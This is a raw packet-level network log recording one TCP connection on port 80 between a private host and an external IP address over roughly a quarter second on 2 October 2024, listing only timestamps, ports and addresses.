Oct 2, 2024 05:19:53.827548981 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:53.827838898 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.827898979 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:53.827922106 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.827933073 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.827972889 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:53.827972889 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:53.828114033 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.828160048 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:53.828226089 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.828236103 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.828262091 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:53.828300953 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:53.828772068 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.828818083 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:53.828851938 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.828864098 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.828895092 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:53.829061985 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.829071045 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.829081059 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.829107046 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:53.829138994 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:53.829703093 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.829750061 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:53.829772949 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.829782009 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.829819918 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:53.829819918 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:53.829906940 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.829952002 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:53.913428068 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.913475037 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.913486004 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.913516045 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:53.913551092 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:53.913659096 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.913671017 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.913707018 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:53.913738966 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:53.913840055 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.913851023 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.913886070 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:53.914067030 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.914077997 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.914087057 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.914098978 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.914109945 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.914117098 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:53.914154053 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:53.914155006 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:53.914568901 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.914580107 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.914591074 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.914601088 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.914618015 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:53.914647102 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:53.914648056 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:53.914937973 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.914949894 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.915018082 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:53.915117979 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.915138006 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.915165901 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:53.915198088 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:53.915360928 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.915390968 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.915414095 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.915426970 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.915436983 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:53.915437937 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.915436983 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:53.915479898 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:53.915481091 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:53.915481091 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:53.915798903 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.915812016 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.915854931 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:53.915854931 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:53.916002035 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.916013956 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.916052103 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:53.916052103 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:53.916229963 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.916239977 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.916249990 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.916260004 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.916270971 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.916276932 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:53.916310072 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:53.916335106 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:53.916718960 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.916729927 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.916739941 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.916749954 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.916769981 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:53.916804075 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:53.917135954 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.917145967 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.917155027 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.917165041 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.917180061 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.917191029 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:53.917222977 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:53.917253017 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:53.917618990 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.917630911 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.917635918 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.917640924 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.917645931 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.917655945 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.917676926 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:53.917710066 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:53.918251038 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.918262005 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.918272018 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.918282032 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.918291092 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.918299913 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:53.918301105 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.918313026 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.918320894 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:53.918355942 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:53.918884993 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.918895006 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.918904066 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.918914080 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.918936014 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:53.918962002 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:53.919276953 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.919286966 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.919296026 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.919306040 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.919316053 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.919327021 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:53.919358015 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:53.919374943 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:53.999608040 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.999651909 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.999660969 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.999728918 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:53.999768972 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:54.003807068 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.003824949 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.003834963 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.003885031 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:54.003931046 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.003933907 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:54.003976107 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:54.004041910 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.004051924 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.004061937 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.004071951 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.004089117 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:54.004121065 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:54.004139900 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:54.004381895 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.004398108 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.004407883 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.004417896 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.004426956 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.004437923 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.004447937 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:54.004448891 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:54.004482985 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:54.004482985 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:54.004837990 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.004889965 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:54.004914999 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.004925966 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.004935026 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.004945040 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.004956007 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.004965067 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:54.004998922 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:54.004998922 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:54.005398035 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.005408049 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.005418062 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.005428076 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.005448103 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:54.005479097 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:54.005657911 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.005671024 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.005681038 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.005693913 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.005702972 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.005703926 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:54.005728960 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:54.005758047 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:54.005999088 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.006014109 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.006023884 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.006033897 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.006043911 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.006047964 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:54.006053925 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.006064892 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.006067038 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:54.006077051 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.006087065 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.006098032 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:54.006103992 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.006119967 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:54.006139994 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:54.006167889 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:54.006597996 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.006608009 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.006644964 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:54.006676912 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:54.006742001 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.006752014 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.006762028 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.006772041 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.006784916 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.006784916 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:54.006800890 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.006808043 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:54.006813049 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.006823063 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.006831884 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:54.006833076 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.006844044 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.006853104 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.006863117 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.006869078 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.006876945 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:54.006876945 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:54.006910086 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:54.006941080 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:54.007565975 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.007576942 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.007586956 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.007613897 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:54.007644892 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:54.007795095 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.007807970 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.007817030 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.007827997 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.007846117 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:54.007884979 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:54.007884979 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:54.008105040 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.008116007 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.008126020 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.008135080 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.008143902 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.008153915 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.008162975 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.008173943 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.008177996 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:54.008177996 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:54.008212090 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:54.008240938 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:54.008611917 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.008622885 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.008631945 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.008642912 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.008660078 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:54.008702040 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:54.008896112 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.008905888 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.008923054 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.008934021 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.008941889 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:54.008945942 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.008956909 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.008966923 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:54.008974075 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.008985043 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.008995056 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.008996964 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:54.009006023 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.009016991 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.009016991 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:54.009032011 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.009042978 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.009061098 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:54.009061098 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:54.009080887 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:54.009109974 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:54.009794950 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.009805918 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.009814978 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.009824991 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.009835005 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.009841919 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:54.009871960 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:54.009900093 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:54.010051966 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.010102987 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:54.010226965 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.010237932 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.010246038 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.010256052 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.010265112 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.010273933 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.010274887 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:54.010283947 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.010294914 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.010297060 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:54.010304928 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.010315895 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.010325909 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.010328054 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:54.010334969 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.010349989 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:54.010365963 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:54.010396004 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:54.011022091 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.011032104 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.011042118 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.011051893 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.011060953 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.011070967 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:54.011110067 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:54.011110067 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:54.086185932 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.086209059 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.086219072 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.086278915 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:54.086302996 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.086314917 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.086318970 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:54.086370945 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:54.086420059 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.086431026 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.086472988 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:54.086503983 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:54.093709946 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.093729019 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.093739033 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.093780041 CEST	49764	80	192.168.2.4	147.45.44.104
